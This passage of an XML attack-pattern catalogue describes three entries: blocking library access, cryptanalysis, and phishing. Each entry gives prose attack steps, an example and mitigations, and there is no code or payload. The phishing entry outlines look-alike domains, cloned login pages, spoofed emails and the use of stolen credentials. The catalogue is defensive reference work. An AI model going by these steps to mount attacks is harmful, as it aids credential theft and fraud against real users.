				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Description>
						<Text>CWE - Input Validation</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>"Anatomy of a Web Services Attack", ForumSystems -
							http://forumsystems.com/papers/Anatomy_of_Attack_wp.pdf</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>"Seven Steps to XML Mastery, Step 7: Ensure XML Security", Frank Coyle
							-
							http://www.awprofessional.com/articles/article.asp?p=601349&amp;seqNum=5&amp;rl=1</Text>
					</Reference_Description>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Sean Barnum</Submitter>
						<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
						<Submission_Date>2007-03-25</Submission_Date>
						<Submission_Comment>Identified priority for pattern
							creation</Submission_Comment>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Eric Dalci</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Date>2007-03-25</Modification_Date>
						<Modification_Comment>Fleshed out content for pattern</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-16</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="96" Name="Block Access to Libraries" Pattern_Abstraction="Standard"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An application typically makes calls to functions that are a part of
						libraries external to the application. These libraries may be part of the
						operating system or they may be third party libraries. It is possible that
						the application does not handle situations properly where access to these
						libraries has been blocked. Depending on the error handling within the
						application, blocked access to libraries may leave the system in an insecure
						state that could be leveraged by an attacker.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>Determine what external libraries the application
												accesses.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>Block access to the external libraries accessed by
												the application.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="3">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>Monitor the behavior of the system to see if it
												goes into an insecure/inconsistent state.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="4">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>If the system does go into an
												insecure/inconsistent state, leverage that to obtain
												information about the system functionality or data,
												elevate access control, etc. The rest of this attack
												will depend on the context and the desired
												goal.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>An application requires access to external libraries.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text> An attacker has the priviliges to block application access to external
						libraries.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>Medium</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>API Abuse</Method_of_Attack>
				<Method_of_Attack>Modification of Resources</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>A web-based system uses a third party cryptographic random number
							generation library that derives entropy from machine's hardware. This
							library is used in generation of user session ids used by the
							applicatoin. If the library is inaccessible, the application instead
							uses a software based weak pseudo random number generation library. An
							attacker of the system blocks access of the application to the third
							party cryptographic random number generation library (by renaming it).
							The application in turn uses the weak pseudo random number generation
							library to generate session ids that are predictable. An attacker then
							leverages this weakness to guess a session id of another user to perform
							a horizontal elevation of privilege escalation and gain access to
							another user's account.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required/>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Ensure that application handles situations where access to APIs in
						external libraries is not available securely. If the application cannot
						continue its execution safely it should fail in a consistent and secure
						fashion.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Denial of Service-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Alter execution
						logic</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>&quot;Varies by
						context&quot;</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>589<!--Call to Non-ubiquitous API--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>227<!--Failure to Fulfill API Contract ('API Abuse')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>176<!--Configuration/Environment manipulation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Failing Securely</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Purposes>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>Low</Confidentiality_Impact>
				<Integrity_Impact>Low</Integrity_Impact>
				<Availability_Impact>High</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Sean Barnum</Submitter>
						<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
						<Submission_Date>2007-03-25</Submission_Date>
						<Submission_Comment>Identified priority for pattern
							creation</Submission_Comment>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Evgeny Lebanidze</Modifier>
						<Modifier_Organization>Cigital, Inc.,</Modifier_Organization>
						<Modification_Date>2007-03-21</Modification_Date>
						<Modification_Comment>Fleshed out content for pattern</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-16</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="97" Name="Cryptanalysis" Pattern_Abstraction="Standard"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>Cryptanalysis is a process of finding weaknesses in cryptographic
						algorithms and using these weaknesses to decipher the ciphertext without
						knowing the secret key (instance deduction). Sometimes the weakness is not
						in the cryptographic algorithm itself, but rather in how it is applied that
						makes cryptanalysis successful. An attacker may have other goals as well,
						such as:</Text>
					<Block Block_Nature="List">
						<Text>1. Total Break - Finding the secret key</Text>
						<Text>2. Gobal Deduction - Finding a functionally equivalent algorithm for
							encryption and decryption that does not require knowledge of the secret
							key.</Text>
						<Text>3. Information Deduction - Gaining some information about plaintexts
							or ciphertexts that was not previously known</Text>
						<Text>4. Distinguishing Algorithm - The attacker has the ability to
							distinguish the output of the encryption (ciphertext) from a random
							permutation of bits</Text>
					</Block>
					<Text>The goal of the attacker performing cryptanalysis will depend on the
						specific needs of the attacker in a given attack context. In most cases, if
						cryptanalysis is successful at all, an attacker will not be able to go past
						being able to deduce some information about the plaintext (goal 3). However,
						that may be sufficient for an attacker, depending on the context.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>An attacker discovers a weakness in the
												cryptographic algorithm or a weakness in how it was
												applied to a particular chunk of plaintext.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>An attacker leverages the discovered weakness to
												decrypt, partially decrypt or infer some information
												about the contents of the encrypted message. All of
												that is done without knowing the secret key.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target software utilizes some sort fo cryptographic algorithm.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>An underlying weaknesses exists either in the cryptographic algorithm used
						or in the way that it was applied to a particular chunk of plaintext.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The encryption algorithm is known to the attacker.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>An attacker has access to the ciphertext.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Very High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>Very Low</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Analysis</Method_of_Attack>
				<Method_of_Attack>Brute Force</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>A very easy to understand (but totally inapplicable to modern
							cryptographic ciphers) example is a cryptanalysis technique called
							frequency analysis that can be successfully applied to the very basic
							classic encryption algorithms that performed monoalphabetic substitution
							replacing each letter in the plaintext with its predetermined mapping
							letter from the same alphabet. This was considered an improvement over a
							more basic technique that would simply shift all of the letters of the
							plaintext by some constant number of positions and replace the original
							letters with the new letter with the resultant alphabet position. While
							monoalphabetic substitution ciphers are resilient to blind brute force,
							they can be broken easily with nothing more than a pen and paper.
							Frequency analysis cryptanalysis uses the fact that natural language is
							not random and monoalphabetic substitution does not hide the statistical
							properties of the natural language. So if the letter "E" in an English
							language occurs with a certain known frequency (about 12.7%), whatever
							"E" was substituted with to get to the ciphertext, will occur with the
							similar frequency. Having this frequency information allows the
							cryptanalyst to quickly determine the substitutions and decipher the
							ciphertext. Frequency analysis techniques are not applicable to modern
							ciphers as they are all resilient to it (unless this is a very bad case
							of a homegrown encryption algorithm). This example is just here to
							illustrate a rudimentary example of cryptanalysis.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>High</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>Cryptanalysis generally requires a very significant level of
							understanding of mathematics and computation.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>Computing resource requirements will vary based on the complexity of a given
					cryptanalysis technique. Access to the encryption/decryption routines of the
					algorithm is also required.</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Use proven cryptographic algorithms with recommended key sizes.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Ensure that the algorithms are used properly. That means:</Text>
					<Block Block_Nature="List">
						<Text>1. Not rolling out your own crypto; Use proven algorithms and
							implementations.</Text>
						<Text>2. Choosing initialization vectors with sufficiently random
							numbers</Text>
						<Text>3. Generating key material using good sources of randomness and
							avoiding known weak keys</Text>
						<Text>4. Using proven protocols and their implementations.</Text>
						<Text>5. Picking the most appropriate cryptographic algorithm for your usage
							context and data</Text>
					</Block>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Data Modification-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>327<!--Use of a Broken or Risky Cryptographic Algorithm--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>693<!--Protection Mechanism Failure--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>719<!--OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Nature>CanFollow</Relationship_Nature>
					<Relationship_Target_ID>20<!--Encryption Brute Forcing--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>281<!--Analytic Attacks--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Reconnaissance</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Description>
						<Text>Wikipedia (Cryptanalysis): www.wikipedia.org</Text>
					</Reference_Description>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Sean Barnum</Submitter>
						<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
						<Submission_Date>2007-03-25</Submission_Date>
						<Submission_Comment>Identified priority for pattern
							creation</Submission_Comment>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Evgeny Lebanidze</Modifier>
						<Modifier_Organization>Cigital, Inc.,</Modifier_Organization>
						<Modification_Date>2007-03-20</Modification_Date>
						<Modification_Comment>Fleshed out content for pattern</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-16</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="98" Name="Phishing" Pattern_Abstraction="Standard"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>Phishing is a social engineering technique where an attacker masquerades
						as a legitimate entity with which the victim might do business in order to
						prompt the user to reveal some confidential information (very frequently
						authentication credentials) that can later be used by an attacker. Phishing
						is essentially a form of information gathering or "fishing" for
						information.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Obtain domain name and certificate to
											spoof legitimate site</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>This optional step can be used to help the
												attacker impersonate the legitimate site more
												convincingly. The attacker can use homograph attacks
												to convince users that they are using the legitimate
												website. Note that this step is not required for
												phishing attacks, and many phishing attacks simply
												supply URLs containing an IP address and no SSL
												certificate.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Optionally obtain a domain name that
												visually looks similar to the legitimate site's
												domain name. An example is www.paypaI.com vs.
												www.paypal.com (the first one contains a capital
												i, instead of a lower case L)</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Optionally obtain a legitimate SSL
												certificate for the new domain name.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Security_Controls>
											<Security_Control ID="1" type="Preventative">
												<Security_Control_Description>Websites can acquire
												many domain names that are similar to their own.
												For example, the company example.com should be
												sure to register example.net, .org, .biz, .info
												and so on. Likewise they should register
												exarnple.com, examp1e.com, exampIe.com (and
												possibly .net, .org variations). Although this
												does not preclude the possibility of phishing, it
												makes the attacker's job harder because all the
												easily believable names are
												taken.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Title>Explore legitimate website and create
											duplicate</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>An attacker creates a website (optionally at a URL
												that looks similar to the original URL) that closely
												resembles the website that he or she is trying to
												impersonate. That website will typically have a
												login form for the victim to put in their
												authentication credentials. There can be different
												variations on a theme here.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Use spidering software to get copy of web
												pages on legitimate site.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Manually save copies of required web pages
												from legitimate site.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Create new web pages that have the
												legitimate site's look at feel, but contain
												completely new content.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Convince user to enter sensitive
											information on attacker's site.</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>An attacker sends an e-mail to the victim that has
												some sort of a call to action to get the user to
												click on the link included in the e-mail (which
												takes the victim to attacker's website) and log in.
												The key is to get the victim to believe that the
												e-mail is coming from a legitimate entity with which
												the victim does business and that the website
												pointed to by the URL in the e-mail is the
												legitimate website. A call to action will usually
												need to sound legitimate and urgent enough to prompt
												action from the user. </Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Send the user a message from a spoofed
												legitimate-looking e-mail address that asks the
												user to click on the included link.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Place phishing link in post to online
												forum.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Legitimate user clicks on link
												supplied by attacker and enters the requested
												information.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>Legitimate user realizes that
												the e-mail is not legitimate, or that the
												attacker's website is not legitimate, and
												therefore, does not enter the information
												requested by the attacker.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor server logs
												for referrers. Phishing websites frequently
												include links to "terms and conditions" "privacy"
												and other standard links on the legitimate site.
												Users' web browsers will generally reveal the
												phishing site in the Referrer header. Since the
												URL may not visually stand out compared to the
												legitimate URL, some programmatic consolidation of
												referrers from log files may be required to ensure
												that example.com stands out from examp1e.com, for
												example.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Title>Use stolen credentials to log into
											legitimate site</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Once the attacker captures some sensitive
												information through phishing (login credentials,
												credit card information, etc.) the attacker can
												leverage this information. For instance, the
												attacker can use the victim's login credentials to
												log into their bank account and transfer money to an
												account of their choice.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Log in to the legitimate site using another
												user's supplied credentials</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Security_Controls>
											<Security_Control ID="1" type="Preventative">
												<Security_Control_Description>Use a human verifiable
												shared secret between legitimate site and end user
												such as the one provided by PassMark Security (now
												part of RSA Security). This prevents the attacker
												from using stolen credentials. Note that this does
												not protect against some man-in-the-middle attacks
												where an attacker establishes a session with the
												legitimate site and convinces an end user to
												establish a session with him. The attacker then
												records and forwards information flowing between
												the end user and the trusted site. This security
												control is currently used by many online banking
												websites including Bank of America's
												website.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Use an out-of-band
												user authentication mechanism before allowing
												particular computers to "register" to use the
												legitimate site with particular login credentials.
												This also prevents the attacker from using stolen
												credentials. An example may be sending a SMS
												message to the user's cell phone (cell phone
												number previously acquired by site) with an
												"activation code" every time the user attempts to
												log into the site from a new computer. This
												solution also does not protect against the
												man-in-the-middle attack described in the previous
												security control.This mechanism is currently used
												by several online banking websites including JP
												Morgan Chase's
												website.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>An attacker needs to have a way to initiate contact with the victim.
						Typically that will happen through e-mail.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>An attacker needs to correctly guess the entity with which the victim does
						business and impersonate it. Most of the time phishers just use the most
						popular banks/services and send out their "hooks" to many potential
						victims.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>An attacker needs to have a sufficiently compelling call to action to
						prompt the user to take action.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The replicated website needs to look extremely similar to the original
						website and the URL used to get to that website needs to look like the real
						URL of the said business entity.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Very High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Social Engineering</Method_of_Attack>
				<Method_of_Attack>Spoofing</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>John gets an official looking e-mail from his bank stating that his or
							her account has been temporarily locked due to suspected unauthorized
							activity and that John needs to click on the link included in the e-mail
							to log in to his bank account in order to unlock it. The link in the
							e-mail looks very similar to that of his bank and once the link is
							clicked, the log in page is the exact replica. John supplies his login
							credentials after which he is notified that his account has now been
							unlocked and that everything is fine. An attacker has just collected
							John's online banking information which can now be used by him or her to
							log into John's bank account and transfer John's money to a bank account
							of the attacker's choice.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>Some web development tools to put up a fake website.</Text>
			</Resources_Required>
			<Indicators-Warnings_of_Attack>
				<Indicator-Warning_of_Attack>
					<Description>
						<Text>You receive an e-mail from an entity that you are not even a customer
							of prompting you to log into your account.</Text>
					</Description>
				</Indicator-Warning_of_Attack>
				<Indicator-Warning_of_Attack>
					<Description>
						<Text>You receive any e-mail that provides you with a link which takes you
							to a website on which you need to enter your log in information.</Text>
					</Description>
				</Indicator-Warning_of_Attack>
			</Indicators-Warnings_of_Attack>
			<Obfuscation_Techniques>
				<Obfuscation_Technique>
					<Description>
						<Text>Making the link in the e-mail and the actual website look very
							legitimate.</Text>
					</Description>
				</Obfuscation_Technique>
			</Obfuscation_Techniques>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Do not follow any links that you receive within your e-mails and certainly
						do not input any login credentials on the page that they take you too.
						Instead, call your Bank, Paypal, Ebay, etc., and inquire about the problem.
						A safe practice would also be to type the URL of your bank in the browser
						directly and only then log in. Also, never reply to any e-mails that ask you
						to provide sensitive information of any kind.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Data Modification-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>151<!--Identity Spoofing (Impersonation)--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Reconnaissance</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
					<Architectural_Paradigm>SOA</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
